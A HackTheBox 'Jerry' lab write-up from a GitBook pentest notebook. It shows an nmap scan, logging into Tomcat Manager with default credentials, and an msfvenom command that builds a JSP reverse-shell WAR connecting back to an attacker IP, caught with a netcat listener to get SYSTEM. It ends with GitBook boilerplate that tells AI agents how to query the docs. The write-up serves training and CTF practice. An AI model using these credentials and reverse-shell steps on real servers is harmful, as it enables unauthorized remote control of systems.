## Nmap

```
sudo nmap 10.10.10.95 -p- -sS -sV  
 
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.34 seconds
```

The root page for port 8080 takes us to an install of Apache Tomcat / 7.0.88.

When clicking on the 'Manager App' button we are asked for authentication before proceeding. Looking up the default credentials on Google we get the result below.

From the list above I tried `tomcat:s3cret` and was granted access as shown below. I have done penetration testing against Tomcat previously and know that once you have access to the Manager App you can upload a malicious WAR file in order to gain shell.

Using the command below we can create a WAR reverse shell with `msfvenom`.

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.29 LPORT=80 -f war > shell.war
```

![](/files/-M_FBHi7LDsEdFWjP99E)

Once uploaded we can then see the upload shell under 'Applications'.

Then start a `netcat` listener on the attacking machine:

```
sudo nc -lvp 80
```

Then click on the uploaded WAR file under applications to execute. As per below you should then have a reverse shell as SYSTEM.

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/windows-machines/jerry.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
